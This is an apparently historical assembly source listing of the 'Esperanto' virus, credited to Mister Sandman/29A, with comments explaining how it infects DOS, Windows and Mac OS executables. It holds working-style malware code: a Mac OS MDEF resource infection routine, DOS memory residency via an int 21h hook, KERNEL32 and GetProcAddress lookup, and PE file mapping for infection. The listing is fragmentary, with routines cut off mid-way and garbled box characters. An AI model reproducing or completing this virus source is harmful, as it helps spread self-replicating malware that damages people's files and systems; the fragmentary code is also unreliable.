; <20> /\/\/\/\/ Esperanto \/\/\/\/\ <20><><EFBFBD><20><><EFBFBD><20><><EFBFBD><20><><EFBFBD><20><><EFBFBD><20><><EFBFBD>
; <20> written by Mister Sandman/29A <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20> A MULTIPROCESSOR and MULTIPLATFORM virus <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><20><><EFBFBD><20><><EFBFBD>
; Esperanto is able to run in three different kinds of processors, which are
; Intel 80x86 (used in common PCs), Motorola 680x0 (used in old Apple Macin-
; tosh computers and in new Macintosh Performa) and PowerPC 6xx (used in new
; Power Macintosh and PowerBook computers).
;
; Inside each of these processors it is able to work in several different
; platforms, thus, in Intel 80x86 processors it will run under DOS, Windows
; 3.1x, Windows95, WindowsNT and Win32s, and in Motorola and PowerPC it will
; run under any version of Mac OS (since early 6.x up to the recently relea-
; sed Mac OS 8, which has been fully tested under); albeit Amiga computers
; use also Motorola processors, Esperanto will not be able to work in them.
;
; And now finally, depending on the platform Esperanto is being executed in,
; it will infect several different objects; when running in DOS and Windows
; 3.1x it will infect: COM, EXE, NewEXE, and PE files. Under Windows95, Win-
; dowsNT and Win32s (Win32 from now onwards) it will infect COM, EXE, and PE
; files. Finally, when run under Mac OS, it will infect Mac OS applications,
; including extensions, control panels, the System File, the Mac OS Finder,
; the DA Handler, and, if available, the Desktop File (only in Mac OS <7).
;
; The following diagram is pretty useful to understand the above:
;
;
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ <20><> DOS <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> COM, EXE, NewEXE, PE
; <20> Esperanto <20><><EFBFBD><10> (Old Macs) <20>Ŀ <20><> Mac OS Apps
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><20> (Mac Performa) <20><20><20><> System File
; <20><20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><20><> Mac OS <20><><EFBFBD><EFBFBD> Mac OS Finder
; <20><20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ <20><20><> DA Handler
; le in Mac OS has a resource index or relocation at its end, and this is
; what the operating system looks for in order to distinguish executable
; and non-executable files. One of these resource indexes has been "arti-
; ficially" added to the end of the Esperanto body. This item does not do
; anything under any PC platform, but it does force Mac OS to execute in-
; fected PC programs in Macs. When going to run any of these PC programs
; under one of the known DOS or Win emulators, Mac OS will recognize the
; executable format and then will run the infected file with no emulation
; so Esperanto will go memory resident under Mac OS. After this, the con-
; trol will be given back to the Intel emulator and then the infected fi-
; le will be normally executed, being possible to stay memory resident in
; the virtual memory used by the DOS or Win emulator as well.
;
; c) But aren't the opcodes of each processor different? indeed. And that is
; why Esperanto has a specific infection routine for Mac OS applications
; totally written and compiled in Motorola 680x0 code. This submodule was
; incrusted into the main Esperanto body and is pointed by the previously
; mentioned resource index. When an infected application is run in Mac OS
; after having been recognized as an executable file the operating system
; first checks the resource index. A pointer to a MDEF resource will be
; found in it, and then the execution will jump straight to the starting
; offset pointed to in the resource index, where the so called "jump ta-
; ble" is supposed to be. This jump table is another characteristic of
; Mac OS applications, and its mission consists on managing the hierarchy
; of the execution of the different resources in a file. This jump table
; does not actually exist in Esperanto; instead of it there is a jmp ins-
; truction (Intel-opcoded) which in PCs will jump to the virus real start
; and in Macintoshes will be interpreted as non-sense data, so it will be
; skipped... until the next instruction, a Motorola one, is reached. That
; is the first instruction of the Mac OS module which, consequently, will
; be run as execution goes on. Our objective is done.
;
; d) And how can the virus run in PowerPC processors? since these processors
; are used in Power Macintosh and PowerBook computers, in Apple they had
; to look for some kind of compatibility between old applications (which
; were compiled for Motorola) and the new processors, so they eventually
; came up with the idea of including a Motorola code emulator inside the
; new Mac OS kernel. Since then there's a full compatibility between both
; processors and their applications, and that's why Esperanto is able too
; to work in PowerPC-based machines which use Mac OS.
;
; e) How can Esperanto jump from Macs to PCs? also very easy. The virus will
; infect every PC file it finds in the DOS/Win emulator and as soon as o-
; ne of these files is copied to a PC the work will be done. And remember
; there's no necessity of any floppy disks, as it's usual to find PC com-
; puters connected to Macintoshes by networking means. That's why none of
; the "foreign" infections (of Mac apps in PC, and of PC files in Mac OS)
; was included in the virus, as they would be a loss of bytes.
;
; Once this all is understood it is much simpler to understand the internal
; structure of the virus. Esperanto consists on four different modules and
; four entry points. There is a specific virus module for Mac OS, DOS, Win,
; and Win32. And there is one entry point for each of them: the first one is
; "universal", it's the one we've just described above. It is valid for COM,
; EXE and Mac OS apps, and it is formed only by a simple "jmp" instruction,
; whose mission consists on "discriminating" the processor it is working un-
; der and, depending on that, distributing the execution point either to the
; start of the Mac OS module or to the start of the DOS one. The second en-
; try point is the one straight reached in this last case, and it is valid
; only for COM and EXE files. The third entry point is the one used by the
; Windows 3.1x module, and finally the fourth deals with the Win32 code.
;
; Again, the use of a diagram will make things much simpler to understand:
;
;
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Universal entry point
; <20><20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><10><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Mac OS entry point
; <20><20><><EFBFBD><EFBFBD><EFBFBD> Mac OS <20><><EFBFBD>۳
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><10><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> COM/EXE entry point
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> NewEXE entry point
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PE entry point
; Note: this is the entry point for infected COM, EXE and Mac OS files. If
; the following instruction is executed in an Intel processor, it will jmp
; to the real entry for COM and EXE files. Otherwise (when running under a
; Motorola or PowerPC processor) it will be interpreted and executed as if
; it were plain data, thus being able to reach the real entry for infected
; Mac OS applications, which starts with a branch to the definitive entry.
com_exe_entry:jmpreal_ce_entry; Jumps only in PCs
; <20> Mac OS module <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
espo_header:bra.smac_os_entry; Jump to virus code
dc.w#$0; Header gaps for later
dc.l#'MDEF'; initialization in the
dc.l#$0; jump table built by
dc.l#$0; the Mac OS Finder
; <20>Ĵ Entry point for Mac OS applications <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20>Ĵ Mac OS applications infection routine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
infect_mac_os:subq.w#$4,sp; Empty stack (4 bytes)
move.l#'CODE',-(sp); Push the resource name
clr.w-(sp); we're looking for and
_GetResource; clear the stack
movea.l(sp)+,a4; Move address to a4
subq.w#$2,sp; Empty stack (2 bytes)
move.la4,-(sp); Push 'CODE' address
_HomeResFile; Home resource file
move.w(sp)+,d4; Move address to d4
subq.w#$2,sp; Empty stack (2 bytes)
_CurResFile; Current resource file
move.w(sp)+,d7; Move address to d7
subq.w#$4,sp; Empty stack (4 bytes)
move.l#'MDEF',-(sp); Move the resource name
move.w#$espo_file_size,-(sp); we're looking for
_GetResource; (Try to) get it
movea.l(sp)+,a4; Move address to a4
move.la4,d0; Does it exist?
bne.snew_mdef; Go and create it
subq.w#$4,sp; Empty stack (4 bytes)
move.l#'MDEF',-(sp); Move resource name
peafirst_tab; Move identifier
_GetNamedResource; Get MDEF address
movea.l(sp)+,a2; Move its address to a2
move.la2,-(sp); Push it onto the stack
_DetachResource; Detach resource
clr.w-(sp); Clear the stack
_UseResFile; Use the MDEF resource
subq.w#$4,sp; Empty stack (4 bytes)
move.l#'MDEF',-(sp); Move the resource name
clr.w-(sp); Clear one word
_GetResource; Open the MDEF resource
movea.l(sp)+,a4; Move handle to a4
move.la4,-(sp); Push it into the stack
move.w#$espo_file_size,-(sp); Move our identifier
peaname_only; And push the name tab
_SetResInfo; Set resource new info
move.la4,-(sp); Move handle into stack
_ChangedResource; Resource has changed
move.la4,-(sp); Move handle into stack
_WriteResource; Write a new MDEF res.
move.la2,-(sp); Stack original address
move.l#'MDEF',-(sp); Stack resource name
clr.w-(sp); Clear one word
peasecond_tab; Viral res.ID string
_AddResource; Add new resource
clr.w-(sp); Clear one word
_UpdateResFile; Update resource file
subq.w#$4,sp; Empty stack (4 bytes)
move.l#'MDEF',-(sp); Now open again the
move.w#$espo_file_size,-(sp); MDEF resource in order
_GetResource; to complete infection
movea.ld5,a0; Move our delta to a0
movea.l(a0),a0; Move 1st byte to a0
move.l(sp)+,$6(a0); Move MDEF address to
move.wd7,-(sp); a0+$6 and use the CODE
_UseResFile; resource (addr.in d7)
bracalc_new_size; Calculate new size
new_mdef:movea.ld5,a0; Move <20>elta to a0
move.l(a0),a0; Move 1st byte to a0
move.la4,$6(a0); Move address for MDEF
clr.w-(sp); to a0+$6 and call
_UseResFile; UseResFile function
subq.w#$4,sp; Empty stack (4 bytes)
move.l#'MDEF',-(sp); Move resource name
clr.w-(sp); Clear one word
_Get1Resource; Get a new resource
movea.l(sp)+,a2; Move its address to a2
move.la2,-(sp); Push a2 into the stack
_DetachResource; Detach the new resource
move.wd4,-(sp); Use current resource
_UseResFile; file previously stored
subq.w#$4,sp; Empty stack (4 bytes)
move.l#'MDEF',-(sp); Move resource name
clr.w-(sp); Clear one word
_Get1Resource; Get the new resource
movea.l(sp)+,a4; Move address to a4
move.la4,d0; Is this address busy?
bne.saddress_used; Branch if so
move.la2,-(sp); Stack resource address
move.l#'MDEF',-(sp); Move resource name
clr.w-(sp); Clear one word
peasecond_tab; Resource identifier
_AddResource; Add new resource
subq.w#$2,sp; Empty stack (2 bytes)
_CurResFile; Current resource file
_UpdateResFile; Update resource file
bra.scalc_new_size; Calculate new size
address_used:move.wd7,-(sp); Use current resource
_UseResFile; file previously stored
subq.w#$4,sp; Empty stack (4 bytes)
move.l#'MDEF',-(sp); Move resource name
clr.w-(sp); Clear one word
_Get1Resource; Get one resource
movea.l(sp)+,a4; Move its address to a4
move.la4,d0; Compare it again
bne.scalc_new_size; Branch if not equal
move.la2,-(sp); Stack resource address
move.l#'MDEF',-(sp); Move resource name
clr.w-(sp); Clear one word
peasecond_tab; Resource ID string
_AddResource; Add new resource
subq.w#$2,sp; Empty stack (2 bytes)
_CurResFile; Current resource file
_UpdateResFile; Update resource file
calc_new_size:move.ld5,-(sp); Move delta into stack
_CalcMenuSize; Calculate new menu size
movem.l(sp)+,d4-d7/a2-a4; Restore used registers
unlka6; Unlink code address
movea.l(sp)+,a0; Move original address
lea$12(sp),sp; to a0, restore stack
jmp(a0); and jump back to it
dc.l#'MAIN'; Main code module
dc.w#$2020; Pre-initialized gaps
dc.w#$2020; for Mac OS Finder
; <20>Ĵ Data area for Mac OS module <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
first_tab:dc.w#$16; For _GetNamedResource
second_tab:dc.b#$7; For _AddResource
name_only:dc.l#'Esperanto'; For _SetResInfo
; <20> DOS runtime module <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
real_ce_entry:calldelta_offset; Get <20>-offset in BP in
delta_offset:popbp; the traditional and
subbp,offsetdelta_offset; always effective way :)
pushescs; Segment push/popping
popds; for l8r use in our code
movax,':)'; Residency check
int21h; Are we home?
cmpax,';)'; Winky smiley, we are
jework_done; already resident...
go_mem_res:movax,es; Residency routine
decax; Get our host's MCB
movds,ax; segment and point its
xordi,di; start with DI
cmpbyteptrds:[di],'Y'; Is it a Z block?
jnawork_done; Exit if it is not
subwordptrds:[di+3],((espo_mem_size/10h)+2)
subwordptrds:[di+12h],((espo_mem_size/10h)+2)
addax,wordptrds:[di+3]
incax; Get a new MCB segment
; for the viral code
movds,ax
movbyteptrds:[di],'Z'; Mark it as a Z block
movwordptrds:[di+1],8; And as a system block
movwordptrds:[di+3],((espo_mem_size/10h)+1)
movdwordptrds:[di+8],00534f44h; Owner ID -> DOS
incax
cld; Clear direction flag
pushcs; Point with CS and DS
popds; to the code running now
moves,ax; ES = virus segment
movcx,espo_file_size; CX = virus size
movsi,bp; SI = virus start
repmovsb; Copy virus to memory
pushes; Now jump to our copy
pushoffsetcopy_vector; in memory so we don't
retf; have to use <20>-offset
copy_vector:pushds; Save DS in the stack
movds,cx; DS = CX = 0 -> IVT
movsi,21h*4; Point int 21h vector
leadi,old_int_21h; Point our storage
movsd; Store old vector
movwordptr[si-4],offsetnew_int_21h
movwordptr[si-2],ax
popax; Once we've set the
movds,ax; new int 21h vector,
moves,ax; check out our host
work_done:cmpbyteptrds:[bp+file_flag],'C'; Is our host a COM?
; Note: the following subroutines are used by the DOS and Windows 3.1x mo-
; dules, in order to perform many repeated actions such as lseeking to the
; start or the end of a file, finding RVAs, and so on.
; <20>Ĵ Lseek to the start of a file <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;
; Entry:
; <20> BX => file handle
; <20> File pointer somewhere in the file
;
; Exit:
; <20> BX => file handle
; <20> File pointer in the start of the file
lseek_start:movax,4200h; Lseek function, with
xorcx,cx; AL, CX and DX = 0,
cwd; ie, lseek to start of
int21h; the file in BX
ret; And go back to code
; <20>Ĵ Lseek to the middle of a file <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;
; Entry:
; <20> BX => file handle
; <20> DX => seek offset
; <20> File pointer somewhere in the file
;
; Exit:
; <20> BX => file handle
; <20> File pointer = previous DX value
lseek_middle:movax,4200h; Lseek function, the
xorcx,cx; offset where to seek
int21h; is specified in CX
ret; Return to our caller
; <20>Ĵ Lseek to the end of a file <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;
; Entry:
; <20> BX => file handle
; <20> File pointer somewhere in the file
;
; Exit:
; <20> BX => file handle
; <20> File pointer in the end of the file
lseek_end:movax,4202h; Lseek function, with
xorcx,cx; AL=2 (from bottom),
cwd; CX and DX equal to
int21h; zero -> lseek to end
ret; Return to main code
; <20>Ĵ Look for the RVA of a given API by name <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;
; Entry:
; <20> EDX => Section <20>elta-offset
; <20> DS:ESI => Import address table for KERNEL32.DLL
; <20> DS:EDI => Given API name to look for
; <20> EBP => Buffer start address
;
; Exit:
; EAX => RVA of the given IMD, or 0 if error
search_name:pushds
popes
; Look for a given API (in EDI) whose RVA we
; are looking for by means of the structure
; IMAGE_IMPORT_BY_NAME, pointed by every dword
; in the thunk data array. First step consists
; on looking for its address (DS:ESI)
lodsd
oreax,eax
jzinp_notfound
; Once found, we get a pointer to the first
; function name of this structure, and compare
; it with the name of the API we look for
pushesiedi
subeax,edx
subeax,dwordptrds:[thunk_offset]
leaesi,dwordptrds:[eax+ebp+2]
namebyname:lodsb
oral,al
jzinputfound
scasb
jenamebyname
popediesi
jmpsearch_name
; In case names match, we go and get the
; RVA of the function we've just found in
; the IAT. Otherwise we keep on searching
inputfound:popediesi
leaeax,dwordptrds:[esi-4]
addeax,dwordptrds:[thunk_offset]
jmpstupid_jump
; I know this jump is completely stupid
; and non-sense, but i felt like to write
; such a fool thing when writing the virus
; and i decided to keep it :)
db'29A'
; We calculate the RVA and return it in
; EAX so it may be later stored in its
; corresponding dynamic variable
stupid_jump:subeax,ebp
addeax,edx
ret
; If we couldn't find the RVA of the API,
; then we return with EAX equal to zero
inp_notfound:xoreax,eax
ret
; <20>Ĵ Check system conditions before infection <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;
; Entry:
; <20> BX => handle of possible victim
; <20> Infection counter holding a value 0-3
; <20> Infection timer holding a certain value
;
; Good exit:
; <20> AH => 2ch
;
; Exit with error:
; <20> AH => 0
; <20> Infection counter set to 0
; <20> Infection timer updated
system_checks:movah,2ch; Get system time to
int21h; do our inf.checks
cmpbyteptrds:[inf_counter],3; Have we already
jbcheck_time; infected 3 files?
movbyteptrds:[inf_counter],al; Yes, update the
jmpset_error; infection counter
check_time:cmpbyteptrds:[inf_timer],cl; Are we still in the
; <20>Ĵ PE files check routine (II) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; Go to next imported module descriptor
more_imd_img:popeax
addeax,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
jmpnext_imd_img
; Now let's go for GetModuleHandleA. We
; need the RVA of this API because it is
; necessary to call it in order to know
; the base address of KERNEL32.DLL
find_rvas:pushesi
leaedi,dwordptr[ebp+gmhandle_n]
calllook4name
movdwordptr[ebp+gmhandle_rva],eax
; Our next and last objective is the API
; GetProcAddress, which helps us in order
; to find the address of any API we look
; for of a given module or library
popesi
leaedi,dwordptr[ebp+gpaddress_n]
calllook4name
movdwordptr[ebp+gpaddress_rva],eax
; <20>Ĵ PE files infection routine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; Note: the following subroutines are used by the Win32 module in order to
; perform many repeated actions, such as mapping or unmapping a file, fin-
; ding RVAs or the base address of a given module or API, and so on.
; <20>Ĵ Undocumented way to find the address of K32 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;
; Entry:
; <20> EBX => base address of host
; <20> Necessity to find KERNEL32.DLL
;
; Exit:
; <20> EAX => base address of KERNEL32.DLL
; <20> EBX => base address of host
; Try to get the base address of KERNEL32
; by means of ID_ForwarderChain. This is
; an undocumented feature which only works
; in Windows95. First load the RVA in ESI
; and then add the base address to it
get_kernel32:db0beh
kernel32_rvadd?
addesi,ebx
lodsd
; Now check for the MZ signature
cmpwordptr[eax],'ZM'
jnek32_not_found
; And finally, for the PE one. If it was
; found, then the undocumented feature has
; worked. Otherwise the control will be
; passed to our host, as we can't execute
movesi,dwordptr[eax+MZ_lfanew]
cmpdwordptr[esi+eax],'EP'
jekernel_found
k32_not_found:popad
ret
; <20>Ĵ Undocumented way to find the address of GetProcAddress <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;
; Entry:
; <20> EBX => base address of host
; <20> kernel32_a => base address of KERNEL32.DLL
; <20> Necessity to find GetProcAddress
;
; Exit:
; <20> EAX => address of GetProcAddress
; <20> EBX => base address of host
; This undocumented way to get the address
; of the API GetProcAddress is based on
; looking for its name and later for its
; ordinal thru the array of APIs exported
; by the module KERNEL32.DLL. Thus, the
; first step consists on seeking to the
; base address of this library and making
; sure this is the right address
get_gpaddress:cld
pushebx
movebx,dwordptr[ebp+kernel32_a]
cmpwordptr[ebx],'ZM'
jnegpa_aborted
; Once we know it has a MZ header, let's
; check for the PE mark, pointed by [3ch]
movesi,dwordptr[ebx+IMAGE_DOS_HEADER.MZ_lfanew]
addesi,ebx
lodsd
cmpeax,'EP'
jnegpa_aborted
; Everything ok, now let's get a pointer
; to the image export directory and push
; it onto the stack for later use
addesi,NT_OptionalHeader\
.OH_DirectoryEntries\
.DE_Export\
.DD_VirtualAddress-4
lodsd
addeax,ebx
pusheax
; Get also a pointer to the table of the
; names of exported functions and to their
; corresponding ordinals or addresses
movecx,dwordptr[eax+ED_NumberOfNames]
movedx,dwordptr[eax+ED_AddressOfNameOrdinals]
addedx,ebx
leaesi,dwordptr[eax+ED_AddressOfNames]
lodsd
addeax,ebx
; Now look for "GetProcAddress" thru the
; array of names of exported API functions
search_name:pushecx
leaesi,dwordptr[ebp+gpaddress_n]
movedi,dwordptr[eax]
oredi,edi
jznext_name
; Compare the strings
movecx,0eh
addedi,ebx
repecmpsb
jename_found
; Not found, go to next name
next_name:addeax,4
addedx,2
popecx
loopsearch_name
; In case it was not found, jump to the
; error routine and stop the functioning
popeax
jmpgpa_aborted
; The "GetProcAddress" string was found,
; and EDX is the index of the function,
; so now we have to look for the ordinal
; using the mentioned index in EDX, and
; check if it is out of range
name_found:popecxedi
movzxeax,wordptr[edx]
cmpeax,dwordptr[edi+ED_NumberOfFunctions]
jaegpa_aborted
; This is the starting ordinal number
subeax,dwordptr[edi+ED_BaseOrdinal]
inceax
shleax,2
; Finally, get address of function and jump
; back to the main routine, in order to look
; for the addresses of other needed APIs
movesi,dwordptr[edi+ED_AddressOfFunctions]
addesi,eax
addesi,ebx
lodsd
addeax,ebx
popebx
jmpgpadd_found
; In case there was an error, stop running
; and jump to the original entry point
gpa_aborted:popebx
popad
ret
; <20>Ĵ Map a file in memory <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;
; Entry:
; <20> WFD_szFileName => file to memory-map
;
; Exit:
; <20> EBX => handle of memory-mapped file
; Open existing file
open_map_file:push0
pushFILE_ATTRIBUTE_NORMAL
pushOPEN_EXISTING
push0
push0
pushGENERIC_READorGENERIC_WRITE
leaeax,dwordptr[ebp+finddata+WFD_szFileName]
pusheax
leaeax,dwordptr[ebp+createfile_a]
calldwordptr[eax]
oreax,eax
jzexit_mapping
; Create file-mapping for it
movdwordptr[ebp+crfhandle],eax
push0
pushdwordptr[ebp+finddata+WFD_nFileSizeLow]
push0
pushPAGE_READWRITE
push0
pushdwordptr[ebp+crfhandle]
leaeax,dwordptr[ebp+cfmapping_a]
calldwordptr[eax]
oreax,eax
jzclose_handle
; Map file in memory, get base address
movdwordptr[ebp+maphandle],eax
